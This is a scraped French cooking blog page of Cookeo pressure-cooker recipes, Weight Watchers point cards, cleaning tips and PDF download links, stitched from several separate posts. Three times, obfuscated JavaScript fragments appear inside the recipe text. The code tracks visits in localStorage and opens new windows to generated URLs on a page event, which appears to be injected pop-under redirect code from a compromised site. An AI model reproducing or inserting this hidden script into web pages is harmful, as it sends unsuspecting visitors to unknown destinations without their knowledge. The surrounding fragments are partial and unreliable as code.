Fiche cookeo poulet entier herbes de Provence

Fiche cookeo poulet entier herbes de Provence 330 CAL 6 PP 12 SP

poulet-entier-fiche-provence

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PDF cookeo spécial fêtes gratuit(160 recettes)

PDF cookeo spécial fêtes gratuit

Vous allez trouvez dans cet article un énorme PDF de 160 recettes pour les fêtes . Ce PDF on le doit au super blog de « Recettes cookeo dans la joie et la bonne humeur «

Pour le télécharger CLIQUEZ ICI OU SUR L’IMAGE

//

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Fiche cookeo porc au cidre weight watchers

Fiche cookeo porc au cidre weight watchers. Toujours bon et léger 7 PP 12 SP

//

Sondage : les vidéos cookeo avec ou sans paroles ?

Bonjour tout le monde

Certains le savent d’autres peut être pas que je posséde une chaine youtube avec des vidéos de mes recettes au cookeo . Pour l’instant je me contente de décrire les différentes étapes de la recette avec les différents ingrédients nécessaires .En fait vous voyez mes mains et vous entendez ma voix .

Je me pose donc une question et je vous la pose également préférez vous que je continue comme cela ou préférez vous que je fasse une vidéo sans paroles juste avec les différentes étapes comme cela se fait beaucoup actuellement . En fait je filme les différentes étapes , je ne parle plus et je met du texte pour facilitez la compréhension .

Pour découvrir les différentes vidéos cookeo c’est ICI

Pour la chaine YOUTUBE c’est ICI

Pour le sondage si vous souhaitez participer cliquez ICI

//
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Bœuf sauté aux oignons Recette cookeo

Bœuf sauté aux oignons Recette cookeo 282 CALORIES 8 PP 9 SP

Ingrédients pour 4 personnes

500 g de viande de bœuf

200 g de carottes

3 oignons

½ cuillère à café de gingembre

4 cuillères à soupe de sauce soja

2 cuillères à soupe de vinaigre de cidre

1 cuillère à café de sucre

200 ml d’eau

Sel

Poivre

Huile d ‘olive

Préparation

Mode dorer

Versez de l’huile dans la cuve et faites revenir les oignons puis la viande.

Ajoutez le vinaigre de cidre , la sauce soja ,le gingembre et le sucre. Salez et poivrez selon votre convenance.

Ajoutez les carottes.

Versez les 200 ml d’eau .

Cuisson rapide ou sous pression

Programmez 10 mn . Servez chaud avec un féculent de votre choix.

//
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Fiche cookeo carbonnade weight watchers

Fiche cookeo carbonnade weight watchers 5 PP 15 SP

//
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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Fiche cookeo choux de Bruxelles aux lardons weight watchers

Fiche cookeo choux de Bruxelles aux lardons weight watchers 3 PP 3 SP

Fiche cookeo choux de Bruxelles aux lardons weight watchers

//

//
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Nettoyage cookeo comment faire ?

Vous trouverez ici des astuces pour le nettoyage cookeo afin que celui fonctionne correctement au quotidien et pour prolonger sa durée de vie .

1° DEMONTAGE ET NETTOYAGE COOKEO

Vous trouverez dans cette vidéo la façon de démonter le cookeo et de le laver .

2° LA CUVE

Dans cette vidéo des astuces pour désodoriser votre cookeo .

3° LA PLAQUE CHAUFFANTE

Pour le nettoyage de la plAque chauffante vous trouverez 2 astuces :

la première conciste à utilser du bicabonate alimentaire suivre ICI
pour la seconde version il s’agit d’utiliser une gomme magique de MR Propre suivez ICI

4° NETTOYAGE VALVES ET CAHE VALVES

Une vidéo pour le nettoyage des valves et cache valve

//
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Haché boeuf pommes de terre cookeo

Ingrédients pour 4 personnes

400 grammes de viande hachée

1 kilo de pommes de terre

1 oignon

1 petite boîte de tomates pelées

Huile d’olive

Sel

Poivre

300 ml d’eau

1 cube de bouillon de bœuf

1 cuillère à café d’ail déshydraté

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve

Faites revenir les oignons coupés en morceaux

Ajoutez au bout d’une minute de fonction dorer la viande hachée .

Ajoutez les tomates pelées ,la cuillère à café d’ail déshydraté.

Salez et poivrez selon votre convenance ajouter ensuite les pommes de terre coupées en morceaux Versez les 300 ml d’eau avec le cube de bouillon de bœuf émietté

Cuisson rapide ou sous pression programmer 12 minutes

Servez chaud

//
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Ravioli boursin une recette cookeo

Ingrédients pour4 personnes

600 g de ravioli 4 fromages

4 cuillères à soupe de crème fraîche

3 cuillères à soupe de Boursin ou équivalent

1 cube de bouillon de bœuf

200 ml d’eau

Sel

poivre

Préparation

Ajoutez dans la cuve les raviolis puis versez l’eau et le cube de bouillon de bœuf émiétté.

Salez et poivrez .

Cuisson rapide ou sous pression

Programmez 4 mn (temps indiqué sur le paquet divisé par 2)

Quand la cuisson est terminée ajoutez le Boursin et la crème fraîche

Servez chaud avec du gruyère râpé par exemple

//
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20 recettes cookeo gâteau le PDF gratuit

Voici un PDF de 20 recettes cookeo gâteau à télécharger gratuitement en cliquant sur l’image ou ICI.

//
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Poulet entier herbes de Provence cookeo

Ingrédients

1 poulet

1 cube de bouillon de bœuf

1 cuillère à soupe de farine

1 sachet de papillotes Herbes de Provence

100 ml de vin blanc

200 ml d’eau

Huile d’olive

Sel

Poivre

Préparation

Mode dorer

Faites revenir le poulet dans la cuve avec de l’huile d’olive (sur toutes ses faces).

Salez poivrez selon votre convenance.

Préparez un bouillon avec 100 ml de vin blanc,200 ml d’eau , 1 cube de bouillon de bœuf émiétté et le contenu du sachet d e paillotes d’herbes de Provence.

Versez ce bouillon dans la cuve

Cuisson rapide ou sous pression

Programmez 30 mn

Quand la cuisson est terminée repassez en mode dorer ,réservez votre poulet ,ajoutez une cuillère à soupe de farine pour épaissir la sauce .Quand la sauce a épaissi redéposez votre poulet dans la cuve .

Servez chaud

//

Oeufs lait chocolat cookeo

Ingrédients

1 boite de lait concentré sucré (397 g poids net)

L’équivalent du lait concentré en lait nature

100 g de chocolat noir

4 œufs

400 ml d’eau

Préparation

Dans un saladier versez le lait concentré, puis versez du lait dans l boite vide du lait concentré (pour obtenir le même dosage). Mélangez.

Cassez les œufs un à un puis mélangez avec le lait concentré et le lait normal.

Ajoutez le chocolat que vous avez fait fondre au micro-ondes ou dans une casserole avec un peu d’eau. Mélangez

Versez 400 ml d’eau dans la cuve

Versez la préparation dans le moule. Placez le panier vapeur dans la cuve et le moule dans le panier vapeur.

Cuisson rapide ou sous pression

Programmez 15 mn de cuisson

Laissez refroidir à l’air libre.

Puis placez au frigo minimum 1 h (vous pouvez disposez un film dessus le moule)

Démoulez et servez.

// <![CDATA[ (adsbygoogle = window.adsbygoogle || []).push({} // ]]>

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Sauté dinde carottes cookeo : simple et rapide

Sauté dinde carottes cookeo

Calories 241 7 PP 8 SP

Ingrédients pour 4 personnes

600 g de sauté de dinde

200 g de carottes

200 g d’oignons

1 cube de bouillon de bœuf

1 verre de vin blanc

300 ml d’eau

Sel

Poivre

Huile d’olive

300 ml d’eau

Préparation

Mode dorer

Faites dorer les oignons avec de l’huile d’olive dans la cuve. Ajoutez le sauté de dinde et faites dorer également.

Ajoutez les carottes, l’eau avec le cube de bouillon de bœuf émietté, le verre de vin blanc.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 20 mn

Vous pouvez servir ce sauté de dinde avec de spaghettis par exemple.

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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());